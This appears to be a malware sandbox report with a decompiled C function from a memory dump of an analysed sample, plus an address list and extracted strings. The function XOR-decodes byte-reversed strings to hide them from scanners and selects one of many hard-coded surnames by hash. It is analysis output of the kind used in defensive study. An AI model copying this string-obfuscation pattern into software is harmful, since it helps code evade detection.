Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: $!$"$"$#$#$$$$$%$&$&$&$'$)$)$)$*$*$+$-$-$-$.$.$.$/$1$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$:$:$;$;$;$<$<$=$>$?$@$B$C$D$E$E$E$E$F$G$H$I$I$I$I$J$J$K$K$K$K$L$L$O$O$P$P$T$T$V$V$Z$Z$Z$Z$[$[$[$\$]$^$^$_$_$_$_$_$`$a$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$o$o$o$p$q$q$r$s$t$t$u${${$}$}$}
API String ID: 0-3297533030
Opcode ID: e80a43674b860d90563689f352579e04e32f56a1759b67cdd7fa77c80c7b27f3
Instruction ID: 082fff56f21fc62f50753e24676e63cce44abcfe45e5a024b0e2de527967505b
Opcode Fuzzy Hash: e80a43674b860d90563689f352579e04e32f56a1759b67cdd7fa77c80c7b27f3
Instruction Fuzzy Hash: 08E2A02000C7C299D332C63898587DFBFD55BA7328F588BADD1ED4A2E2D675020AD767

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF78, Relevance: 163.1, Strings: 130, Instructions: 635
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040EF78(void* __eax, char __ebx, void* __esi, void* __ebp, signed char* _a4, char* _a8, char* _a12, intOrPtr _a16, char* _a20, intOrPtr _a24, char* _a28, intOrPtr _a32, char* _a36, intOrPtr _a40, signed char* _a44, char* _a48, intOrPtr _a52, signed char* _a56, char* _a60, char* _a64, intOrPtr _a68, char* _a72, char* _a76, signed int* _a80, intOrPtr _a84, char* _a88, intOrPtr _a92, char* _a96, char* _a100, signed int* _a104, intOrPtr _a108, signed char* _a112, char* _a116, char* _a120, signed char* _a124, intOrPtr _a128, signed int* _a132, char* _a136, intOrPtr _a140, char _a144, char _a145, char _a146, char _a147, char _a148, char _a149, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a158, signed char _a164, signed char _a165, signed char _a166, signed char _a167, signed char _a168, signed char _a169, signed int _a172, signed int _a173, signed int _a174, signed int _a175, signed int _a176, signed int _a177, char _a178, char _a179, char _a180, char _a181, char _a182, char _a183, signed int _a184, signed int _a185, signed int _a186, signed int _a187, signed int _a188, signed int _a189, signed int _a190, signed int _a191, signed int _a192, signed int _a193, signed int _a194, signed int _a195, signed int _a196, signed int _a197, signed int _a198, char _a199, char _a200, signed char _a204, signed char _a205, signed char _a206, signed char _a207, signed char _a208, signed char _a209, signed int _a210, signed int _a211, signed int _a212, signed int _a213, signed int _a214, signed int _a215, char _a220, char _a221, char _a222, char _a223, char _a224, char _a225, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a236, char _a244, char _a245, char _a246, char _a247, char _a248, char _a249, char _a252, char _a253, char _a254, char _a255, char _a256, char _a257, char _a260, char _a261, char _a262, char _a263, char _a264, char _a265, char _a268, char _a276, char _a277, char _a278, char _a279, char _a280, char _a281, char _a284, char _a285, char _a286, char _a287, char _a288, char _a289, char _a292, char _a300, char _a308, char _a316, char _a317, char _a318, char _a319, char _a320, char _a321, char _a324, char _a325, char _a326, char _a327, char _a328, char _a329, char _a332, char _a333, char _a334, char _a335, char _a336, char _a337, char _a338, char _a340, signed char _a348, signed char _a349, signed char _a350, signed char _a351, signed char _a352, signed char _a353, signed char _a354, char _a364, char _a372, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a388, signed char _a396, signed char _a397, signed char _a398, signed char _a399, signed char _a400, signed char _a401, signed char _a402, char _a408, char _a409, char _a410, char _a411, char _a412, char _a413, char _a414, char _a415, char _a416, char _a417, char _a418, char _a419, signed char _a420, signed char _a421, signed char _a422, signed char _a423, signed char _a424, signed char _a425, signed char _a426, signed char _a427, char _a432, signed char _a436, signed char _a437, signed char _a438, signed char _a439, signed char _a440, signed char _a441, signed char _a442, signed char _a443, char _a444, char _a445, char _a446, char _a447, char _a448, char _a449, char _a450, char _a451, char _a452, char _a456, char _a468, char _a469, char _a470, char _a471, char _a472, char _a473, char _a474, char _a475, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a482, char _a483, char _a484, char _a485, intOrPtr _a488) {
				char* _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				char* _v12;
				char* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v40;
				char _v41;
				void* _t532;
				void* _t541;
				void* _t548;
				char* _t556;
				void* _t558;
				intOrPtr _t567;
				intOrPtr _t569;
				signed int _t573;
				intOrPtr* _t575;
				char _t581;
				char _t589;
				char _t594;
				char _t603;
				void* _t615;
				signed char _t622;
				signed char _t624;
				intOrPtr _t649;
				char _t685;
				intOrPtr _t711;
				void* _t712;
				void* _t714;
				signed int _t715;
				signed int _t716;
				void* _t717;
				signed char _t718;
				void* _t719;
				intOrPtr _t723;
				void* _t725;

				_t714 = __esi;
				_t532 = __eax;
				do {
					_t581 =  *((intOrPtr*)(_t725 + _t532 + 0xd0));
					 *((char*)(_t725 + _t532 + 0xd0)) =  *((intOrPtr*)(_t725 + _t714 + 0xd0));
					_t532 = _t532 + 1;
					 *((char*)(_t725 + _t714 + 0xd0)) = _t581;
					_t714 = _t714 - 1;
				} while (_t532 < _t714);
				_a436 = _a208 ^ 0x00000014;
				_a437 = _a209 ^ 0x000000a8;
				_a438 = _a210 ^ 0x00000037;
				_a439 = _a211 ^ 0x00000028;
				_a440 = _a212 ^ 0x00000035;
				_a441 = _a213 ^ 0x00000017;
				_a442 = _a214 ^ 0x000000aa;
				_push(6);
				_a443 = _a215 ^ 0x00000083;
				_push( &_a284);
				 *0x431c89 = 0x19;
				_a284 = 0x88;
				_a285 = 0x9c;
				_a286 = 0x95;
				_a287 = 0x1d;
				_a288 = 0xbd;
				_a289 = 0x48;
				_a228 = 0xbc;
				_a229 = 0xd1;
				_a230 = 0xbe;
				_a231 = 0xd2;
				_a232 = 0xbe;
				_a233 = 0xc7;
				_a16 = E0040D980( &_a228);
				_a192 = 0xf0;
				_a193 = 0x33;
				_a194 = 0x7f;
				_a195 = 0x8f;
				_a196 = 0xd4;
				_a197 = 0x7b;
				_a198 = 0x1c;
				_t541 = 0;
				_t715 = 6;
				do {
					_t589 =  *((intOrPtr*)(_t725 + _t541 + 0xc8));
					 *((char*)(_t725 + _t541 + 0xc8)) =  *((intOrPtr*)(_t725 + _t715 + 0xc8));
					_t541 = _t541 + 1;
					 *((char*)(_t725 + _t715 + 0xc8)) = _t589;
					_t715 = _t715 - 1;
				} while (_t541 < _t715);
				_a396 = _a192 ^ 0x00000071;
				_a399 = _a195 ^ 0x000000e3;
				_a397 = _a193 ^ 0x00000012;
				_a398 = _a194 ^ 0x000000b8;
				_a402 = _a198 ^ 0x000000f0;
				_a400 = _a196 ^ 0x0000001a;
				_a401 = _a197 ^ 0x00000041;
				_a192 = 0xac;
				_a193 = 0x88;
				_a194 = 0x4a;
				_a195 = 0xc7;
				_a196 = 0xee;
				_a197 = 0x67;
				_a198 = 0xfc;
				_t548 = 0;
				_t716 = 6;
				do {
					_t594 =  *((intOrPtr*)(_t725 + _t548 + 0xc8));
					 *((char*)(_t725 + _t548 + 0xc8)) =  *((intOrPtr*)(_t725 + _t716 + 0xc8));
					_t548 = _t548 + 1;
					 *((char*)(_t725 + _t716 + 0xc8)) = _t594;
					_t716 = _t716 - 1;
				} while (_t548 < _t716);
				_a348 = _a192 ^ 0x0000008b;
				_a349 = _a193 ^ 0x0000000e;
				_a351 = _a195 ^ 0x000000b4;
				_a352 = _a196 ^ 0x00000025;
				_a350 = _a194 ^ 0x00000082;
				_a380 = 0xdb;
				_a198 = 0xdb;
				_push(7);
				_a354 = _a198 ^ 0x000000ac;
				_push( &_a380);
				_a353 = _a197 ^ 0x000000e6;
				 *0x431c89 = 0x19;
				_a324 = 0x6d;
				_a325 = 0x6f;
				_a326 = 0x6f;
				_a327 = 0x72;
				_a328 = 0x65;
				_a329 = __ebx;
				_a381 = 0x81;
				_a382 = 0xe5;
				_a383 = 0x9f;
				_a384 = 0x3e;
				_a385 = 0x36;
				_a386 = 0x71;
				_a192 = 0xc6;
				_a193 = 0xb2;
				_a194 = 0xd3;
				_a195 = 0xaa;
				_a196 = 0xc6;
				_a197 = 0xa9;
				_t556 = E0040D980( &_a192);
				_push(7);
				_push( &_a396);
				_a12 = _t556;
				_a472 = 0x61;
				_a473 = 0x6e;
				_a474 = 0x64;
				_a475 = 0x65;
				_a476 = 0x72;
				_a477 = 0x73;
				_a478 = 0x6f;
				_a479 = 0x6e;
				_a480 = __ebx;
				_a396 = 0xae;
				_a397 = 0xa8;
				_a398 = 0xa6;
				_a399 = 0xbf;
				_a400 = 0x70;
				_a401 = 0x89;
				_a402 = 0x13;
				_a184 = 0x11;
				_a185 = 0x65;
				_a186 = 0xd;
				_a187 = 0x62;
				_a188 = 0xf;
				_a189 = 0x6e;
				_a190 = 0x1d;
				_a12 = E0040D980( &_a184);
				_a184 = 0xa8;
				_a185 = 0xa2;
				_a186 = 0xaf;
				_a187 = 0xb1;
				_a188 = 0x15;
				_a189 = 0xd5;
				_a190 = 0x82;
				_a191 = 0x58;
				_t558 = 0;
				_t717 = 7;
				do {
					_t603 =  *((intOrPtr*)(_t725 + _t558 + 0xd0));
					 *((char*)(_t725 + _t558 + 0xd0)) =  *((intOrPtr*)(_t725 + _t717 + 0xd0));
					_t558 = _t558 + 1;
					 *((char*)(_t725 + _t717 + 0xd0)) = _t603;
					_t717 = _t717 - 1;
				} while (_t558 < _t717);
				_a421 = _a185 ^ 0x000000e3;
				_a420 = _a184 ^ 0x00000032;
				_a422 = _a186 ^ 0x000000b6;
				_a424 = _a188 ^ 0x000000c2;
				_a423 = _a187 ^ 0x0000007e;
				_a425 = _a189 ^ 0x000000c0;
				_push(7);
				_a427 = _a191 ^ 0x000000a8;
				_push( &_a348);
				_a426 = _a190 ^ 0x000000cc;
				 *0x431c89 = 0x19;
				_a316 = 0x77;
				_a317 = 0x68;
				_a318 = 0x69;
				_a319 = 0x74;
				_a320 = 0x65;
				_a321 = __ebx;
				_a396 = 0x68;
				_a397 = 0x61;
				_a398 = 0x72;
				_a399 = 0x72;
				_a400 = 0x69;
				_a401 = 0x73;
				_a402 = __ebx;
				_a348 = 0x2a;
				_a349 = 0x9c;
				_a350 = 0xed;
				_a351 = 0x35;
				_a352 = 0x4a;
				_a353 = 0x35;
				_a354 = 0x68;
				_a176 = 0x4f;
				_a177 = 0x22;
				_a178 = 0x43;
				_a179 = 0x31;
				_a180 = 0x45;
				_a181 = 0x2c;
				_a182 = 0x42;
				_t711 = E0040D980( &_a176);
				_a444 = 0x74;
				_a445 = 0x68;
				_a446 = 0x6f;
				_a447 = 0x6d;
				_a448 = 0x70;
				_a449 = 0x73;
				_a450 = 0x6f;
				_a451 = 0x6e;
				_a452 = __ebx;
				_a332 = 0x67;
				_a333 = 0x61;
				_a334 = 0x72;
				_a335 = 0x63;
				_a336 = 0x69;
				_a337 = 0x61;
				_a338 = __ebx;
				_a468 = 0x37;
				_a469 = 0x36;
				_a470 = 0xb3;
				_a471 = 0xc1;
				_a472 = 0x69;
				_a473 = 0x80;
				_push(9);
				_push( &_a468);
				_a474 = 0xc4;
				_a475 = 0x8e;
				_a476 = 0x89;
				_a176 = 0x60;
				_a177 = 0xd;
				_a178 = 0x6c;
				_a179 = 0x1e;
				_a180 = 0x6a;
				_a181 = 3;
				_a182 = 0x6d;
				_a183 = 8;
				_a184 = 0x72;
				_t567 = E0040D980( &_a176);
				_push(6);
				_push( &_a276);
				_t723 = _t567;
				_a412 = 0x72;
				_a413 = 0x6f;
				_a414 = 0x62;
				_a415 = 0x69;
				_a416 = 0x6e;
				_a417 = 0x73;
				_a418 = 0x6f;
				_a419 = 0x6e;
				_a420 = __ebx;
				_a252 = 0x63;
				_a253 = 0x6c;
				_a254 = 0x61;
				_a255 = 0x72;
				_a256 = 0x6b;
				_a257 = __ebx;
				_a472 = 0x72;
				_a473 = 0x6f;
				_a474 = 0x64;
				_a475 = 0x72;
				_a476 = 0x69;
				_a477 = 0x67;
				_a478 = 0x75;
				_a479 = 0x65;
				_a480 = 0x7a;
				_a481 = __ebx;
				_a276 = 0xfd;
				_a277 = 0xda;
				_a278 = 0x64;
				_a279 = 0xb0;
				_a280 = 0x5d;
				_a281 = 0x6c;
				_a188 = 0xc2;
				_a189 = 0xae;
				_a190 = 0xcb;
				_a191 = 0xbc;
				_a192 = 0xd5;
				_a193 = 0xa6;
				_v16 = E0040D980( &_a188);
				_v28 = 0x6c;
				_v27 = 0x65;
				_v26 = 0x65;
				_v25 = __ebx;
				_a332 = 0x77;
				_a333 = 0x61;
				_a334 = 0x6c;
				_a335 = 0x6b;
				_a336 = 0x65;
				_a337 = 0x72;
				_a338 = __ebx;
				_a196 = 0x68;
				_a197 = 0x61;
				_a198 = 0x6c;
				_a199 = 0x6c;
				_a200 = __ebx;
				_a276 = 0x61;
				_a277 = 0x6c;
				_a278 = 0x6c;
				_a279 = 0x65;
				_push(5);
				_push( &_a204);
				_a280 = 0x6e;
				_a281 = __ebx;
				_a260 = 0x79;
				_a261 = 0x6f;
				_a262 = 0x75;
				_a263 = 0x6e;
				_a264 = 0x67;
				_a265 = __ebx;
				_a476 = 0x68;
				_a477 = 0x65;
				_a478 = 0x72;
				_a479 = 0x6e;
				_a480 = 0x61;
				_a481 = 0x6e;
				_a482 = 0x64;
				_a483 = 0x65;
				_a484 = 0x7a;
				_a485 = __ebx;
				_a188 = 0x6b;
				_a189 = 0x69;
				_a190 = 0x6e;
				_a191 = 0x67;
				_a192 = __ebx;
				_a348 = 0x77;
				_a349 = 0x72;
				_a350 = 0x69;
				_a351 = 0x67;
				_a352 = 0x68;
				_a353 = 0x74;
				_a354 = __ebx;
				_a220 = 0x6c;
				_a221 = 0x6f;
				_a222 = 0x70;
				_a223 = 0x65;
				_a224 = 0x7a;
				_a225 = __ebx;
				_a204 = 0xc7;
				_a205 = 0x35;
				_a206 = 0x64;
				_a207 = 0x14;
				_a208 = 0x23;
				_a172 = 0x60;
				_a173 = 8;
				_a174 = 0x61;
				_a175 = 0xd;
				_a176 = 0x61;
				_t569 = E0040D980( &_a172);
				_a164 = 0x68;
				_a165 = 0x3e;
				_a166 = 0xbb;
				_a167 = 0xf0;
				_a168 = 0xec;
				_a169 = 0xa1;
				_t615 = 0;
				_t718 = 5;
				do {
					_v41 =  *((intOrPtr*)(_t725 + _t615 + 0xe0));
					 *((char*)(_t725 + _t615 + 0xe0)) =  *((intOrPtr*)(_t725 + _t718 + 0xe0));
					_t615 = _t615 + 1;
					 *((char*)(_t725 + _t718 + 0xe0)) = _v41;
					_t718 = _t718 - 1;
				} while (_t615 < _t718);
				_a204 = _a164 ^ 0x000000d2;
				_a205 = _a165 ^ 0x0000008f;
				_a206 = _a166 ^ 0x0000009f;
				_a207 = _a167 ^ 0x000000cf;
				_a208 = _a168 ^ 0x0000004a;
				_t622 = 5;
				_a209 = _a169 ^ 0x00000068;
				_a244 = 0x67;
				_a245 = 0x72;
				_a246 = 0x65;
				_a247 = 0x65;
				_a248 = 0x6e;
				_a249 = __ebx;
				_a144 = 0x61;
				_a145 = 0x64;
				_a146 = 0x61;
				_a147 = 0x6d;
				_a148 = 0x73;
				_a149 = __ebx;
				_a172 = 0x7a;
				_a173 = 0x24;
				_a174 = 0x9b;
				_a175 = 6;
				_a176 = 0x77;
				_a177 = 0xe5;
				_t719 = 0;
				_a164 = 5;
				do {
					_t685 =  *((intOrPtr*)(_t725 + _t719 + 0xe8));
					 *((char*)(_t725 + _t719 + 0xe8)) =  *((intOrPtr*)(_t725 + _t622 + 0xe8));
					_t624 = _a164;
					_t719 = _t719 + 1;
					 *((char*)(_t725 + _t624 + 0xe8)) = _t685;
					_t622 = _t624 - 1;
					_v41 = _t685;
					_a164 = _t622;
				} while (_t719 < _t622);
				_a164 = _a172 ^ 0x00000087;
				_a165 = _a173 ^ 0x00000016;
				_a166 = _a174 ^ 0x0000006d;
				_a167 = _a175 ^ 0x000000fe;
				_a168 = _a176 ^ 0x00000056;
				_a169 = _a177 ^ 0x0000007a;
				_v16 =  &_a292;
				_v12 =  &_v40;
				_t426 =  &_a220; // 0x6c
				_v8 = _t426;
				_t428 =  &_a372; // 0x68
				_v4 = _t428;
				_v0 =  &_a380;
				_a4 =  &_a348;
				_a8 =  &_a300;
				_a12 =  &_a276;
				_a16 = _v28;
				_a20 =  &_a432;
				_a24 = _v20;
				_a28 =  &_a388;
				_t446 =  &_a284; // 0x65
				_a32 = _t446;
				_a36 =  &_a364;
				_a44 =  &_a420;
				_a48 =  &_a308;
				_a56 =  &_a396;
				 *0x431c89 = 0x19;
				_a408 = 0x67;
				_a409 = 0x6f;
				_a410 = 0x6e;
				_a411 = 0x7a;
				_a412 = 0x61;
				_a413 = 0x6c;
				_a414 = 0x65;
				_a415 = 0x7a;
				_a416 = __ebx;
				_a172 = 0x6e;
				_a173 = 0x65;
				_a174 = 0x6c;
				_a175 = 0x73;
				_a176 = 0x6f;
				_a177 = 0x6e;
				_a178 = __ebx;
				_a152 = 0x63;
				_a153 = 0x61;
				_a154 = 0x72;
				_a155 = 0x74;
				_a156 = 0x65;
				_a157 = 0x72;
				_a158 = __ebx;
				_a40 = _t711;
				_a52 = _t723;
				_a60 =  &_a236;
				_a64 =  &_a456;
				_a68 = _v24;
				_a72 =  &_v36;
				_a76 =  &_a324;
				_a80 =  &_a188;
				_t493 =  &_a268; // 0x61
				_a84 = _t493;
				_a88 =  &_a252;
				_t497 =  &_a468; // 0x69
				_a92 = _t497;
				_a96 =  &_a180;
				_a100 =  &_a340;
				_a108 = _t569;
				_a104 =  &_a212;
				_a112 =  &_a204;
				_a116 =  &_a244;
				_t512 =  &_a408; // 0x67
				_a120 =  &_a144;
				_a124 =  &_a164;
				_a128 = _t512;
				_a132 =  &_a172;
				_a136 =  &_a152;
				_a140 = _v32;
				_t573 = E0040C1D0( &_a172);
				_t720 =  *((intOrPtr*)(_t725 + 0x28 + _t573 % 0x28 * 4));
				_t575 =  *((intOrPtr*)(_t725 + 0x28 + _t573 % 0x28 * 4));
				_t712 = _t575 + 1;
				do {
					_t649 =  *_t575;
					_t575 = _t575 + 1;
				} while (_t649 != __ebx);
				return E00424873(E004028A0(_a488, _t720, _t575 - _t712), _a472);
			}

0x0040ef78
0x0040ef78
0x0040ef80
0x0040ef87
0x0040ef8e
0x0040ef95
0x0040ef96
0x0040ef9d
0x0040ef9e
0x0040efbc
0x0040efca
0x0040efe0
0x0040efee
0x0040effc
0x0040f012
0x0040f019
0x0040f022
0x0040f02b
0x0040f032
0x0040f03a
0x0040f041
0x0040f049
0x0040f051
0x0040f059
0x0040f061
0x0040f069
0x0040f071
0x0040f079
0x0040f081
0x0040f088
0x0040f090
0x0040f097
0x0040f0a4
0x0040f0a8
0x0040f0b0
0x0040f0b8
0x0040f0c0
0x0040f0c8
0x0040f0d0
0x0040f0d8
0x0040f0e0
0x0040f0e2
0x0040f0f0
0x0040f0f7
0x0040f0fe
0x0040f105
0x0040f106
0x0040f10d
0x0040f10e
0x0040f129
0x0040f13f
0x0040f14d
0x0040f15b
0x0040f171
0x0040f178
0x0040f17f
0x0040f186
0x0040f18e
0x0040f196
0x0040f19e
0x0040f1a6
0x0040f1ae
0x0040f1b6
0x0040f1be
0x0040f1c0
0x0040f1d0
0x0040f1d7
0x0040f1de
0x0040f1e5
0x0040f1e6
0x0040f1ed
0x0040f1ee
0x0040f20c
0x0040f21a
0x0040f22d
0x0040f23b
0x0040f247
0x0040f257
0x0040f25e
0x0040f265
0x0040f26e
0x0040f27a
0x0040f282
0x0040f289
0x0040f290
0x0040f298
0x0040f2a0
0x0040f2a8
0x0040f2b0
0x0040f2b8
0x0040f2bf
0x0040f2c7
0x0040f2cf
0x0040f2d7
0x0040f2df
0x0040f2e7
0x0040f2ef
0x0040f2f6
0x0040f2fe
0x0040f306
0x0040f30e
0x0040f315
0x0040f31d
0x0040f322
0x0040f32b
0x0040f333
0x0040f337
0x0040f33f
0x0040f347
0x0040f34f
0x0040f357
0x0040f35f
0x0040f367
0x0040f36f
0x0040f377
0x0040f37e
0x0040f386
0x0040f38e
0x0040f396
0x0040f39e
0x0040f3a6
0x0040f3ae
0x0040f3b6
0x0040f3be
0x0040f3c6
0x0040f3ce
0x0040f3d6
0x0040f3de
0x0040f3e6
0x0040f3f3
0x0040f3f7
0x0040f3ff
0x0040f407
0x0040f40f
0x0040f417
0x0040f41f
0x0040f427
0x0040f42f
0x0040f437
0x0040f439
0x0040f440
0x0040f447
0x0040f44e
0x0040f455
0x0040f456
0x0040f45d
0x0040f45e
0x0040f47c
0x0040f48d
0x0040f49e
0x0040f4ae
0x0040f4c0
0x0040f4d1
0x0040f4d8
0x0040f4e3
0x0040f4ea
0x0040f4f2
0x0040f4f9
0x0040f500
0x0040f508
0x0040f510
0x0040f518
0x0040f520
0x0040f528
0x0040f52f
0x0040f537
0x0040f53f
0x0040f547
0x0040f54f
0x0040f557
0x0040f55f
0x0040f566
0x0040f56e
0x0040f576
0x0040f57e
0x0040f586
0x0040f58e
0x0040f596
0x0040f59e
0x0040f5a6
0x0040f5ae
0x0040f5b6
0x0040f5be
0x0040f5c6
0x0040f5ce
0x0040f5db
0x0040f5dd
0x0040f5e5
0x0040f5ed
0x0040f5f5
0x0040f5fd
0x0040f605
0x0040f60d
0x0040f615
0x0040f61d
0x0040f624
0x0040f62c
0x0040f634
0x0040f63c
0x0040f644
0x0040f64c
0x0040f654
0x0040f65b
0x0040f663
0x0040f66b
0x0040f673
0x0040f67b
0x0040f683
0x0040f68b
0x0040f694
0x0040f69c
0x0040f6a4
0x0040f6ac
0x0040f6b4
0x0040f6bc
0x0040f6c4
0x0040f6cc
0x0040f6d4
0x0040f6dc
0x0040f6e4
0x0040f6ec
0x0040f6f4
0x0040f6fc
0x0040f701
0x0040f70a
0x0040f712
0x0040f714
0x0040f71c
0x0040f724
0x0040f72c
0x0040f734
0x0040f73c
0x0040f744
0x0040f74c
0x0040f754
0x0040f75b
0x0040f763
0x0040f76b
0x0040f773
0x0040f77b
0x0040f783
0x0040f78a
0x0040f792
0x0040f79a
0x0040f7a2
0x0040f7aa
0x0040f7b2
0x0040f7ba
0x0040f7c2
0x0040f7ca
0x0040f7d2
0x0040f7d9
0x0040f7e1
0x0040f7e9
0x0040f7f1
0x0040f7f9
0x0040f801
0x0040f809
0x0040f811
0x0040f819
0x0040f821
0x0040f829
0x0040f831
0x0040f83e
0x0040f842
0x0040f847
0x0040f84c
0x0040f851
0x0040f855
0x0040f85d
0x0040f865
0x0040f86d
0x0040f875
0x0040f87d
0x0040f885
0x0040f88c
0x0040f894
0x0040f89c
0x0040f8a4
0x0040f8ac
0x0040f8b3
0x0040f8bb
0x0040f8c3
0x0040f8cb
0x0040f8d3
0x0040f8dc
0x0040f8e4
0x0040f8ec
0x0040f8f3
0x0040f8fb
0x0040f903
0x0040f90b
0x0040f913
0x0040f91b
0x0040f922
0x0040f92a
0x0040f932
0x0040f93a
0x0040f942
0x0040f94a
0x0040f952
0x0040f95a
0x0040f962
0x0040f96a
0x0040f971
0x0040f979
0x0040f981
0x0040f989
0x0040f991
0x0040f998
0x0040f9a0
0x0040f9a8
0x0040f9b0
0x0040f9b8
0x0040f9c0
0x0040f9c8
0x0040f9cf
0x0040f9d7
0x0040f9df
0x0040f9e7
0x0040f9ef
0x0040f9f7
0x0040f9fe
0x0040fa06
0x0040fa0e
0x0040fa16
0x0040fa1e
0x0040fa26
0x0040fa2e
0x0040fa36
0x0040fa3e
0x0040fa46
0x0040fa4e
0x0040fa53
0x0040fa5b
0x0040fa63
0x0040fa6b
0x0040fa73
0x0040fa7b
0x0040fa83
0x0040fa85
0x0040fa90
0x0040fa97
0x0040faa2
0x0040faad
0x0040faae
0x0040fab5
0x0040fab6
0x0040facb
0x0040fadf
0x0040faed
0x0040fb01
0x0040fb0f
0x0040fb19
0x0040fb1e
0x0040fb25
0x0040fb2d
0x0040fb35
0x0040fb3d
0x0040fb45
0x0040fb4d
0x0040fb54
0x0040fb5c
0x0040fb64
0x0040fb6c
0x0040fb74
0x0040fb7c
0x0040fb83
0x0040fb8b
0x0040fb93
0x0040fb9b
0x0040fba3
0x0040fbab
0x0040fbb3
0x0040fbb5
0x0040fbc0
0x0040fbc7
0x0040fbce
0x0040fbd5
0x0040fbdc
0x0040fbdd
0x0040fbe4
0x0040fbe7
0x0040fbeb
0x0040fbeb
0x0040fc08
0x0040fc16
0x0040fc2a
0x0040fc38
0x0040fc4c
0x0040fc53
0x0040fc61
0x0040fc69
0x0040fc6d
0x0040fc74
0x0040fc78
0x0040fc7f
0x0040fc8a
0x0040fc95
0x0040fca0
0x0040fcaf
0x0040fcb3
0x0040fcc2
0x0040fcc6
0x0040fcd1
0x0040fcd5
0x0040fcdc
0x0040fce7
0x0040fcf9
0x0040fd04
0x0040fd0f
0x0040fd13
0x0040fd1a
0x0040fd22
0x0040fd2a
0x0040fd32
0x0040fd3a
0x0040fd42
0x0040fd4a
0x0040fd52
0x0040fd5a
0x0040fd61
0x0040fd69
0x0040fd71
0x0040fd79
0x0040fd81
0x0040fd89
0x0040fd91
0x0040fd98
0x0040fda0
0x0040fda8
0x0040fdb0
0x0040fdb8
0x0040fdc0
0x0040fdc8
0x0040fdcf
0x0040fdd3
0x0040fdd7
0x0040fde6
0x0040fdea
0x0040fdf5
0x0040fe03
0x0040fe11
0x0040fe18
0x0040fe1f
0x0040fe2d
0x0040fe34
0x0040fe3b
0x0040fe49
0x0040fe57
0x0040fe5e
0x0040fe7a
0x0040fe81
0x0040fe88
0x0040fe9d
0x0040fea4
0x0040feab
0x0040feb2
0x0040fecb
0x0040fed2
0x0040fed9
0x0040fee0
0x0040feef
0x0040fef3
0x0040fef5
0x0040fef8
0x0040fef8
0x0040fefa
0x0040fefb
0x0040ff24

Strings

e, xrefs: 0040F847
e, xrefs: 0040F92A
h, xrefs: 0040F922
gibor, xrefs: 0040FE9D
n, xrefs: 0040F93A
i, xrefs: 0040F510
c, xrefs: 0040F63C
i, xrefs: 0040F67B
#, xrefs: 0040FA1E
d, xrefs: 0040F79A
t, xrefs: 0040FDB0
h, xrefs: 0040F9B8
`, xrefs: 0040F6B4
s, xrefs: 0040F605
h, xrefs: 0040F5E5
l, xrefs: 0040FD42
w, xrefs: 0040F998
n, xrefs: 0040FD89
n, xrefs: 0040F981
e, xrefs: 0040F95A
s, xrefs: 0040FD79
o, xrefs: 0040F367
a, xrefs: 0040F62C
l, xrefs: 0040FD71
n, xrefs: 0040F36F
a, xrefs: 0040F64C
o, xrefs: 0040F71C
irdor, xrefs: 0040FE34
7, xrefs: 0040F65B
d, xrefs: 0040F347
n, xrefs: 0040F90B
g, xrefs: 0040F913
i, xrefs: 0040F644
n, xrefs: 0040F615
a, xrefs: 0040FB64
e, xrefs: 0040F84C
g, xrefs: 0040F624
i, xrefs: 0040F72C
l, xrefs: 0040F842
i, xrefs: 0040F9A8
H, xrefs: 0040F069
s, xrefs: 0040F557
o, xrefs: 0040F298
], xrefs: 0040F7F9
r, xrefs: 0040F6F4
h, xrefs: 0040F596
o, xrefs: 0040F8FB
r, xrefs: 0040FDC0
b, xrefs: 0040F3CE
g, xrefs: 0040F9B0
r, xrefs: 0040F9A0
g, xrefs: 0040FB25
t, xrefs: 0040F9C0
l, xrefs: 0040F801
r, xrefs: 0040F932
o, xrefs: 0040F2A0
n, xrefs: 0040FB45
e, xrefs: 0040F520
d, xrefs: 0040FB5C
>, xrefs: 0040F2D7
o, xrefs: 0040F5ED
r, xrefs: 0040F7A2
e, xrefs: 0040FD69
e, xrefs: 0040FB35
y, xrefs: 0040F8F3
e, xrefs: 0040F3BE
a, xrefs: 0040F85D
t, xrefs: 0040F518
agy, xrefs: 0040FE18
n, xrefs: 0040F94A
r, xrefs: 0040F2A8
d, xrefs: 0040F952
6, xrefs: 0040F2DF
g, xrefs: 0040F989
e, xrefs: 0040F8CB
6, xrefs: 0040F663
>, xrefs: 0040FA5B
n, xrefs: 0040FD61
lybor, xrefs: 0040FC6D
u, xrefs: 0040F903
s, xrefs: 0040FB74
l, xrefs: 0040F865
3, xrefs: 0040F0B0
s, xrefs: 0040F35F
z, xrefs: 0040F962
n, xrefs: 0040F33F
B, xrefs: 0040F5CE
m, xrefs: 0040F5F5
e, xrefs: 0040F34F
r, xrefs: 0040FB2D
k, xrefs: 0040F86D
5, xrefs: 0040FA06
r, xrefs: 0040F357
q, xrefs: 0040F2E7
w, xrefs: 0040F855
r, xrefs: 0040F634
r, xrefs: 0040F87D
e, xrefs: 0040FDB8
p, xrefs: 0040F5FD
o, xrefs: 0040F792
l, xrefs: 0040F6C4
e, xrefs: 0040F875
h, xrefs: 0040F508
r, xrefs: 0040FDA8
J, xrefs: 0040F196
z, xrefs: 0040FD52
e, xrefs: 0040FB3D
h, xrefs: 0040FA53
herej, xrefs: 0040FC78
i, xrefs: 0040F979
w, xrefs: 0040F500
o, xrefs: 0040F60D
e, xrefs: 0040FD4A
k, xrefs: 0040F971
m, xrefs: 0040F6E4
a, xrefs: 0040F337
a, xrefs: 0040FDA0
